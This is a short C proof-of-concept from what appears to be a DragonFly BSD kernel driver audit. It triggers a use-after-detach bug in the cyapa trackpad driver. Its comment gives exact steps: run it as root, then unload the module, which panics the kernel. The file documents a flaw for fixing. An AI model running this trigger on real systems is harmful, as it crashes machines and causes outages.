DF-4227 / trigger_detach_uaf.c
/* * DF-4227 trigger: use-after-detach of /dev/cyapa0-67 * (sys/dev/smbus/cyapa/cyapa.c detach vs open fds) * * REQUIRES REAL HARDWARE (Cypress APA trackpad on SMBus addr 0x67). * On such a system, run as root (device is 0600 root:wheel): * * ./trigger_detach_uaf & # opens + reads * sleep 1 && kldunload cyapa.ko # second shell * * After kldunload the reader's blocked read() hits: * cyaparead (cyapa.c:616): sc = CYAPA_SOFTC(minor) -> NULL * (subr_bus.c:1164 dc->devices[unit] = NULL after detach) * cyaparead (cyapa.c:626): cyapa_lock(sc) -> no NULL check * -> lockmgr(&sc->lk) on NULL+offset -> kernel panic * (or, if the read is dispatched after module unload, the call goes * through freed module ops memory.) * * On the DragonFly QEMU audit guest this stops at open(): no SMBus * controller + no trackpad => cyapa never attaches => no /dev/cyapa*. */ #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <errno.h> #include <string.h> int main(void) { char buf[16]; int fd; fd = open("/dev/cyapa0-67", O_RDONLY); if (fd < 0) { printf("open(/dev/cyapa0-67): %s\n", strerror(errno)); printf("(device not present on this machine - " "needs real cypress trackpad on smbus)\n"); return 2; } printf("opened, blocking in read(); now: kldunload cyapa.ko\n"); fflush(stdout); /* * Blocks in lksleep() inside cyaparead (cyapa.c:749). cyapa_detach * never wakes blocked readers and proceeds to devclass teardown. */ if (read(fd, buf, sizeof(buf)) < 0) printf("read returned: %s\n", strerror(errno)); else printf("read returned data\n"); return 0; } |